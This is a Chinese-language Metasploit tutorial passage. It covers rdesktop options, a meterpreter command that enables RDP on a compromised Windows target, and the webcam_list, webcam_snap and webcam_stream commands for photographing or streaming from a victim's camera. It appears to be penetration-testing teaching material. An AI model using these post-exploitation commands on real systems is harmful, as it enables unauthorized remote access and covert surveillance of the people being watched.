说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本
rdesktop常用参数
id | 参数 | 描述 |
---|---|---|
1 | -u | 账户名 |
2 | -p | 密码 |
3 | -a 16 | 指使用16位色显示远程画面 |
4 | -f | 全屏模式(用Ctrl+Alt+Enter 组合键退出全屏) |
5 | -g | 设置分辨率 如 : -g 1024x768 |
6 | rdesktop -h | 查看rdesktop使用帮助 |
rdesktop -u 用户名 -p 密码 -f IP
rdesktop -u mb -p 123456 -f -g 1024x720 192.168.110.24
如果远程计算机没有启动远程功能我们可以在meterpreter中输入
启动远程桌面协议:run post/windows/manage/enable_rdp
2 通过vnc远程
23 后渗透之调用摄像头
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
3 一台安卓设备,没有可以使用模拟器
二、实战
靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头
webcam模块支持命令
id | 模块名 | 解释 |
---|---|---|
1 | webcam_list | 列出靶机中的所有软,硬件摄像头列表,并编号 |
2 | webcam_snap | 可调用单个软,硬件摄像头拍照,默认调用第一个摄像头 |
3 | webcam_stream | 可调用单个软,硬件摄像头直播,默认调用第一个摄像头 |
1 webcam_list
2 webcam_snap 调用单个软,硬件摄像头拍照文章来源:https://www.toymoban.com/news/detail-781333.html
id | 参数 | 描述 |
---|---|---|
1 | -h | 显示帮助 |
2 | -i | -i 1 “1”代表调用摄像头编号 |
3 | -p | -p /root "root"设置存储路径 |
4 | -q | -q 100 “100” 表示存储图片的质量默认为 50 |
5 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |
3 webcam_stream 调用单个软,硬件摄像头直播文章来源地址https://www.toymoban.com/news/detail-781333.html
id | 参数 | 描述 |
---|---|---|
1 | -h | 显示帮助 |
2 | -d | -d 100 “100”=100秒 设置流持续时间为100秒 默认为1800 |
3 | -i | -i 1 “1”代表调用摄像头编号 |
4 | -q | -q 100 “100”指流质量 默认为50 |
5 | -s | -s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建) |
7 | -f | -f live “live”指播放文件的存储地址 默认输出在当前目录 |
8 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |
到了这里,关于MSF使用详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!